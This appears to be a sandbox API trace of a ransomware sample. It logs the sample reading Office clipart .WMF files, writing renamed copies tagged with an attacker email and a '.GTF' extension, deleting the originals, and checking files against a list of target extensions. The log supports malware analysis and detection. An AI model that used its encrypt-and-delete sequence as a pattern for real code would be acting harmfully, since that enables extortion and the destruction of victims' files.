	[0086.850] ReadFile (in: hFile=0x360, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x32f2, lpOverlapped=0x0) returned 1
	[0086.852] WriteFile (in: hFile=0x340, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0x3300, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0x3300, lpOverlapped=0x0) returned 1
	[0086.853] ReadFile (in: hFile=0x360, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1
	[0086.853] WriteFile (in: hFile=0x340, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0xec, lpOverlapped=0x0) returned 1
	[0086.853] SetEndOfFile (hFile=0x340) returned 1
	[0086.853] CloseHandle (hObject=0x340) returned 1
	[0086.853] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.853] SetEndOfFile (hFile=0x360) returned 1
	[0086.854] CloseHandle (hObject=0x360) returned 1
	[0086.854] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0086.855] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00019_.wmf")) returned 1
	[0086.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 68
	[0086.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 68
	[0086.855] lstrlenW (lpString=".doc") returned 4
	[0086.855] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0086.855] lstrlenW (lpString=".docx") returned 5
	[0086.855] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0086.855] lstrlenW (lpString=".pdf") returned 4
	[0086.855] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0086.855] lstrlenW (lpString=".xls") returned 4
	[0086.855] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0086.856] lstrlenW (lpString=".xlsx") returned 5
	[0086.856] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0086.856] lstrlenW (lpString=".ppt") returned 4
	[0086.856] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0086.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 68
	[0086.856] lstrlenW (lpString=".zip") returned 4
	[0086.856] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0086.856] lstrlenW (lpString=".rar") returned 4
	[0086.856] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0086.856] lstrlenW (lpString=".bz2") returned 4
	[0086.856] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0086.856] lstrlenW (lpString=".7z") returned 3
	[0086.856] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0086.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 68
	[0086.856] lstrlenW (lpString=".dbf") returned 4
	[0086.856] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0086.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 68
	[0086.856] lstrlenW (lpString=".1cd") returned 4
	[0086.856] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0086.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 68
	[0086.856] lstrlenW (lpString=".jpg") returned 4
	[0086.856] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0086.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 68
	[0086.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 68
	[0086.856] lstrlenW (lpString=".doc") returned 4
	[0086.856] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0086.856] lstrlenW (lpString=".docx") returned 5
	[0086.856] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0086.856] lstrlenW (lpString=".pdf") returned 4
	[0086.856] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0086.856] lstrlenW (lpString=".xls") returned 4
	[0086.856] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0086.856] lstrlenW (lpString=".xlsx") returned 5
	[0086.856] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0086.856] lstrlenW (lpString=".ppt") returned 4
	[0086.856] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0086.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 68
	[0086.857] lstrlenW (lpString=".zip") returned 4
	[0086.857] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0086.857] lstrlenW (lpString=".rar") returned 4
	[0086.857] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0086.857] lstrlenW (lpString=".bz2") returned 4
	[0086.857] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0086.857] lstrlenW (lpString=".7z") returned 3
	[0086.857] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0086.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 68
	[0086.857] lstrlenW (lpString=".dbf") returned 4
	[0086.857] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0086.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 68
	[0086.857] lstrlenW (lpString=".1cd") returned 4
	[0086.857] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0086.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 68
	[0086.857] lstrlenW (lpString=".jpg") returned 4
	[0086.857] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0086.857] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0086.857] lstrlenW (lpString="ED00172_.WMF") returned 12
	[0086.857] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00172_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0086.857] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=2700) returned 1
	[0086.857] CloseHandle (hObject=0x360) returned 1
	[0086.858] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00172_.wmf")) returned 0x220
	[0086.858] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00172_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0086.858] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00172_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0086.858] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.858] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.858] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00172_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0086.858] GetLastError () returned 0x0
	[0086.858] ReadFile (in: hFile=0x360, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0xa8c, lpOverlapped=0x0) returned 1
	[0086.860] WriteFile (in: hFile=0x340, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0xa90, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0xa90, lpOverlapped=0x0) returned 1
	[0086.861] ReadFile (in: hFile=0x360, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1
	[0086.861] WriteFile (in: hFile=0x340, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0xec, lpOverlapped=0x0) returned 1
	[0086.861] SetEndOfFile (hFile=0x340) returned 1
	[0086.861] CloseHandle (hObject=0x340) returned 1
	[0086.862] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.862] SetEndOfFile (hFile=0x360) returned 1
	[0086.862] CloseHandle (hObject=0x360) returned 1
	[0086.862] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0086.863] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00172_.wmf")) returned 1
	[0086.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 68
	[0086.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 68
	[0086.863] lstrlenW (lpString=".doc") returned 4
	[0086.863] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0086.863] lstrlenW (lpString=".docx") returned 5
	[0086.863] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0086.863] lstrlenW (lpString=".pdf") returned 4
	[0086.863] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0086.863] lstrlenW (lpString=".xls") returned 4
	[0086.863] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0086.863] lstrlenW (lpString=".xlsx") returned 5
	[0086.863] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0086.863] lstrlenW (lpString=".ppt") returned 4
	[0086.863] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0086.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 68
	[0086.863] lstrlenW (lpString=".zip") returned 4
	[0086.863] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0086.863] lstrlenW (lpString=".rar") returned 4
	[0086.863] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0086.863] lstrlenW (lpString=".bz2") returned 4
	[0086.863] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0086.863] lstrlenW (lpString=".7z") returned 3
	[0086.863] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0086.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 68
	[0086.863] lstrlenW (lpString=".dbf") returned 4
	[0086.863] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0086.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 68
	[0086.864] lstrlenW (lpString=".1cd") returned 4
	[0086.864] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0086.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 68
	[0086.864] lstrlenW (lpString=".jpg") returned 4
	[0086.864] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0086.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 68
	[0086.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 68
	[0086.864] lstrlenW (lpString=".doc") returned 4
	[0086.864] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0086.864] lstrlenW (lpString=".docx") returned 5
	[0086.864] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0086.864] lstrlenW (lpString=".pdf") returned 4
	[0086.864] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0086.864] lstrlenW (lpString=".xls") returned 4
	[0086.864] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0086.864] lstrlenW (lpString=".xlsx") returned 5
	[0086.864] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0086.864] lstrlenW (lpString=".ppt") returned 4
	[0086.864] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0086.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 68
	[0086.864] lstrlenW (lpString=".zip") returned 4
	[0086.864] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0086.864] lstrlenW (lpString=".rar") returned 4
	[0086.864] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0086.864] lstrlenW (lpString=".bz2") returned 4
	[0086.864] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0086.864] lstrlenW (lpString=".7z") returned 3
	[0086.864] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0086.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 68
	[0086.864] lstrlenW (lpString=".dbf") returned 4
	[0086.864] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0086.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 68
	[0086.864] lstrlenW (lpString=".1cd") returned 4
	[0086.864] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0086.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 68
	[0086.865] lstrlenW (lpString=".jpg") returned 4
	[0086.865] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0086.865] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0086.865] lstrlenW (lpString="ED00184_.WMF") returned 12
	[0086.865] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00184_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0086.865] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=6958) returned 1
	[0086.865] CloseHandle (hObject=0x360) returned 1
	[0086.865] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00184_.wmf")) returned 0x220
	[0086.865] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00184_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0086.865] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00184_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0086.865] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.865] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.865] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00184_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0086.866] GetLastError () returned 0x0
	[0086.866] ReadFile (in: hFile=0x360, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x1b2e, lpOverlapped=0x0) returned 1
	[0086.867] WriteFile (in: hFile=0x340, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0x1b30, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0x1b30, lpOverlapped=0x0) returned 1
	[0086.868] ReadFile (in: hFile=0x360, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1
	[0086.868] WriteFile (in: hFile=0x340, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0xec, lpOverlapped=0x0) returned 1
	[0086.868] SetEndOfFile (hFile=0x340) returned 1
	[0086.869] CloseHandle (hObject=0x340) returned 1
	[0086.869] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.869] SetEndOfFile (hFile=0x360) returned 1
	[0086.870] CloseHandle (hObject=0x360) returned 1
	[0086.870] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0086.870] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00184_.wmf")) returned 1
	[0086.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 68
	[0086.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 68
	[0086.870] lstrlenW (lpString=".doc") returned 4
	[0086.870] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0086.870] lstrlenW (lpString=".docx") returned 5
	[0086.870] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0086.870] lstrlenW (lpString=".pdf") returned 4
	[0086.870] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0086.870] lstrlenW (lpString=".xls") returned 4
	[0086.870] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0086.870] lstrlenW (lpString=".xlsx") returned 5
	[0086.870] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0086.870] lstrlenW (lpString=".ppt") returned 4
	[0086.871] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0087.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 68
	[0087.464] lstrlenW (lpString=".zip") returned 4
	[0087.464] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0087.464] lstrlenW (lpString=".rar") returned 4
	[0087.464] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0087.464] lstrlenW (lpString=".bz2") returned 4
	[0087.464] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0087.464] lstrlenW (lpString=".7z") returned 3
	[0087.464] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0087.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 68
	[0087.464] lstrlenW (lpString=".dbf") returned 4
	[0087.464] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0087.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 68
	[0087.464] lstrlenW (lpString=".1cd") returned 4
	[0087.464] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0087.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 68
	[0087.464] lstrlenW (lpString=".jpg") returned 4
	[0087.464] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0087.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 68
	[0087.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 68
	[0087.465] lstrlenW (lpString=".doc") returned 4
	[0087.465] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0087.465] lstrlenW (lpString=".docx") returned 5
	[0087.465] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0087.465] lstrlenW (lpString=".pdf") returned 4
	[0087.465] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0087.465] lstrlenW (lpString=".xls") returned 4
	[0087.465] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0087.465] lstrlenW (lpString=".xlsx") returned 5
	[0087.465] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0087.465] lstrlenW (lpString=".ppt") returned 4
	[0087.465] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0087.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 68
	[0087.465] lstrlenW (lpString=".zip") returned 4
	[0087.465] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0087.465] lstrlenW (lpString=".rar") returned 4
	[0087.465] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0087.465] lstrlenW (lpString=".bz2") returned 4
	[0087.465] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0087.465] lstrlenW (lpString=".7z") returned 3
	[0087.465] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0087.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 68
	[0087.465] lstrlenW (lpString=".dbf") returned 4
	[0087.465] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0087.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 68
	[0087.465] lstrlenW (lpString=".1cd") returned 4
	[0087.465] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0087.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 68
	[0087.465] lstrlenW (lpString=".jpg") returned 4
	[0087.465] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0087.466] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0087.466] lstrlenW (lpString="FD00336_.WMF") returned 12
	[0087.466] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00336_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0087.467] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=6068) returned 1
	[0087.467] CloseHandle (hObject=0x39c) returned 1
	[0087.467] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00336_.wmf")) returned 0x220
	[0087.467] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00336_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0087.467] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00336_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0087.467] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.467] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
